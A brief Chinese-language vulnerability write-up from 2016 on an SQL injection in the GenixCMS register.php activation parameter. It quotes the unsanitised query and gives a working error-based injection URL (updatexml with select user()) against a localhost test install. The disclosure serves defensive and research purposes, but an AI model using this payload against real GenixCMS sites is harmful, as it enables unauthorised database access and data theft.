GenixCMS某处SQL注入漏洞 2016-03-22

GenixCMS介绍

GenixCMS一款简单和轻量级的移动商务内容管理系统,官网:http://genixcms.org/

漏洞原理

程序根目录下的register.php中,第116行到118行:

if (isset($_GET['activation'])) {
    # code...
    $usr = Db::result(sprintf("SELECT * FROM `user` WHERE `activation` = '%s' LIMIT 1", $_GET['activation'] ));

可以看到直接从网址获取activation并且没有经过任何过滤,直接带入了sql语句查询,故存在sql注入漏洞。

漏洞证明

注入payload如下:

http://genixcms.localhost/register.php?activation=1%27%20and%201=(updatexml(1,concat(0x23,(select%20user()),0x23),1))%23

465554565

TangScan插件

将在官方修复后发布。